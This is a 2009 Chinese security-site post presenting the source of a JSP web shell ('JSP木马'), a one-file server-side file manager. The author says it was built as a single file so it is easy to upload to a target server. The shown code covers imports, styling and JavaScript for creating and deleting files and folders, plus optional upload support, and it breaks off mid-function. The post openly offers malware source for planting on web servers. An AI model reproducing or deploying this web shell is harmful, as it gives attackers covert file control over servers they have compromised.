频道栏目
首页 > 安全 > 系统安全 > 正文

介绍一个类似程序管理器的简单JSP木马

2009-07-08 00:08:33           
收藏   我要投稿

laobu  CSDN  

下面是JSP木马程序原代码:  文件名 adminIndex.jsp

注意:这里用到了一个包. org.apache.commons.fileupload.*

如果你有了这个包,可以把页面中 注释的部分去掉.即可实现文件上传功能.

这个是上传文件用的包 commons-fileupload-1.0.jar 可以到 apache 网站上去找.

因为当初的想法是想把所有功能都写到一个JSP木马文件里.这样方便上传.呵呵.所以搞得这JSP又长又臭.有不合理之处还请大家指教

  1. <%  
  2.    //作者:laobu    
  3.    //Email: tianlinlj@126.com  
  4.    //参考:慈勤强:JSP文件管理器0.5版本 http://www.webasp.net/article/15/14295.htm  
  5. %> 
  6. <%@ page contentType="text/html;charset=gb2312"%> 
  7. <%//@ page import="org.apache.commons.fileupload.*" %> 
  8. <%@page import="java.util.*"%> 
  9. <%@page import="java.io.*"%> 
  10. <style>   
  11.    td,select,input,body{ font-size:9pt; }   
  12.    A { TEXT-DECORATION: none }   
  13. style> 
  14. <script> 
  15.  function showNewsFiles(path){  
  16.   var str = prompt("请输入新建文件夹的名称:","") ;  
  17.   strstr = str.replace(/(^s*)|(s*$)/g, "");  
  18.   if(str!=null&&str.length>0){  
  19.      var message = confirm("新建文件夹:<"+str+">");  
  20.      if(message==true) window.location.href="?news=files&path="+path+"&filesName="+str;    
  21.   }else{  
  22.    alert("对不起,您输入了错误的文件夹名称!");  
  23.   }  
  24.  }  
  25.  function showNewsFile(path){  
  26.   var str = prompt("请输入新建文件的名称:","") ;  
  27.   strstr = str.replace(/(^s*)|(s*$)/g, "");  
  28.   if(str!=null&&str.length>0){  
  29.    var message = confirm("新建文件:<"+str+">");  
  30.    if(message==true) window.location.href="?news=file&path="+path+"&fileName="+str;   
  31.   }else{  
  32.    alert("对不起,您输入了错误的文件名!");  
  33.   }  
  34.  }  
  35.  function delFile(path){    
  36.   var i = path.lastIndexOf("/");  
  37.   if(i!=-1){     
  38.    var strPath = path.substring(0,i);  
  39.    var delDirectory = path.substring(i+1);  
  40.    if(delDirectory==null||
相关TAG标签 木马 程序
上一篇:使用Snort探测轻型侵入
下一篇:主动防护:零日漏洞修补手册
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站